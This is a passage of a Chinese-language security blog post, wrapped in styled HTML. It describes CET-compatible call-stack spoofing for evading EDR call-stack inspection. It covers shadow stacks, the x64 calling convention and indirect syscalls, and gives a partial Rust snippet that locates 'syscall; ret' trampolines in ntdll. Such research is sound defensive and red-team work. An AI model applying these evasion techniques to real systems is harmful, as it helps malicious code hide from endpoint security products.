0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">都是扎实的工作。但它们都有一个共同问题：它们操纵的是正常栈上的返回地址。然后 Intel 投下了炸弹。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012906" alt="Call stack spoofing" class="rich_pages wxw-img" data-ratio="0.5393401015228426" data-type="png" data-w="788" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a558afd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSj1iacxGeELHqGkWQ2gpJLV1ZbzeZfFfIPfmK9qz6UyZ2F8Vh6fspyyNhShehpicQIMTy1LMJQDPvofOoDdicMUxKySnXQTKsUicRY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Call stack spoofing</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图片来源：dtsec.us</span></em></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2.5 CET 登场（约 2023-2025）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Intel CET 引入了 </span><strong><span leaf="">影子栈</span></strong><span leaf="">：一份硬件强制的返回地址副本。每次 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CALL</span></code><span leaf="">时，CPU 将返回地址压入两个栈。每次 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RET</span></code><span leaf="">时，两者都弹出并比较。不匹配？</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrmb41h6-ouc54q" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a></span></code><span leaf="">异常，进程死亡。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你可以整天覆写正常栈。影子栈不在乎。它保存着真实地址，而你无法用普通内存写入来触碰它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一个专门针对 CET 兼容性的研究是 klezVirus 的 BYOUD（Bring Your Own Unwind Data），在 Black Hat Europe 上发表。BYOUD 通过操纵展开元数据（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.pdata</span></code><span leaf="">节）来实现 CET 兼容。与我在此介绍的方法完全不同，值得研究。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2.6 我的技术定位</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我走了一条不同的路线：不触碰展开元数据，而是通过两件事实现 CET 兼容：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">而非 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">进行上下文切换（影子栈不参与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RDSSPQ</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">直接推进影子栈指针以重新对齐</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结合线程池 + Enum 回调跳板，产生真正干净的调用栈（不是合成帧，而是实际的函数调用）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我要明确说明：这些组件没有一个是我的。贡献在于将它们组合在一起，使其在 CET 下端到端工作，然后花了不合理的大量时间调试崩溃（详见第 8 节）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3. 背景概念</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你已经知道所有这些，请跳到第 4 节。如果不知道，去倒杯咖啡，因为这会花一些时间。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.1 Windows x64 调用约定</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 64 位 Windows 上，前四个函数参数放入寄存器：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RCX</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RDX</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R8</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">R9</span></code><span leaf="">。之后的参数放在栈上，从被调用者视角的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[RSP+0x28]</span></code><span leaf="">开始。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">调用者还必须在栈上预留 32 字节的&#34;home space&#34;（影子空间），即使函数参数少于四个。被调用者可以将此空间用作暂存区。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">┌─────────────────────────┐</span><span leaf=""><br/></span><span leaf="">  RSP+0x00 →  │ Return address          │  ← pushed by CALL</span><span leaf=""><br/></span><span leaf="">              ├─────────────────────────┤</span><span leaf=""><br/></span><span leaf="">  RSP+0x08 →  │ Home space for RCX      │  ← 32 bytes, callee can trash these</span><span leaf=""><br/></span><span leaf="">  RSP+0x10 →  │ Home space for RDX      │</span><span leaf=""><br/></span><span leaf="">  RSP+0x18 →  │ Home space for R8       │</span><span leaf=""><br/></span><span leaf="">  RSP+0x20 →  │ Home space for R9       │</span><span leaf=""><br/></span><span leaf="">              ├─────────────────────────┤</span><span leaf=""><br/></span><span leaf="">  RSP+0x28 →  │ 5th argument            │  ← extra args start here</span><span leaf=""><br/></span><span leaf="">  RSP+0x30 →  │ 6th argument            │</span><span leaf=""><br/></span><span leaf="">              └─────────────────────────┘</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个布局对我们的技术至关重要，因为我们手动构建这些帧。一个偏移搞错，整个东西就会爆炸。相信我，我知道（见第 8.3 节）。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.2 EDR 如何检查调用栈</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当敏感的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">触发时，内核（或 EDR 驱动）捕获线程的调用栈。在 x64 Windows 上，栈遍历使用 PE 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.pdata</span></code><span leaf="">节中的展开信息。每个函数都有一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RUNTIME_FUNCTION</span></code><span leaf="">条目描述其帧布局。给定一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RIP</span></code><span leaf="">值，展开器计算调用者的状态，以及调用者的调用者，一直到线程入口。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">EDR 检查每个返回地址：它是否属于一个已知的、已签名的模块？还是指向无后备内存？一个坏帧，整个调用就可疑。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们的目标：让每一帧看起来都干净。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.3 什么是间接系统调用？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不从你自己的代码执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">，而是跳转到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">中已有的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall; ret</span></code><span leaf="">序列（字节 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0F 05 C3</span></code><span leaf="">）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 PoC 中，我通过向后扫描目标 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Zw</span></code><span leaf="">函数来查找跳板：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">get_trampoline</span></span><span leaf="">(func_addr: </span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u8</span></span><span leaf="">) -&gt; </span><span style="color: rgb(215, 58, 73);"><span leaf="">Result</span></span><span leaf="">&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, ()&gt; {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> image_base: </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> func_entry </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">RtlLookupFunctionEntry</span></span><span leaf="">(func_addr </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> image_base, </span><span style="color: rgb(111, 66, 193);"><span leaf="">null_mut</span></span><span leaf="">())</span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> func_size </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">        (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">func_entry).EndAddress </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">func_entry).BeginAddress</span><span leaf=""><br/></span><span leaf="">    } </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">usize</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> func_size </span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">..func_size </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">).</span><span style="color: rgb(111, 66, 193);"><span leaf="">rev</span></span><span leaf="">() {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> ptr </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { func_addr.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(i) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">read_unaligned</span></span><span leaf="">(ptr </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*const</span></span><span leaf=""> [</span><span style="color: rgb(215, 58, 73);"><span leaf="">u8</span></span><span leaf="">; </span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">]) } </span><span style="color: rgb(215, 58, 73);"><span leaf="">==</span></span><span leaf=""> [</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x0F</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x05</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC3</span></span><span leaf="">] { </span><span style="color: rgb(106, 115, 125);"><span leaf="">// syscall; ret</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Ok</span></span><span leaf="">(ptr </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: 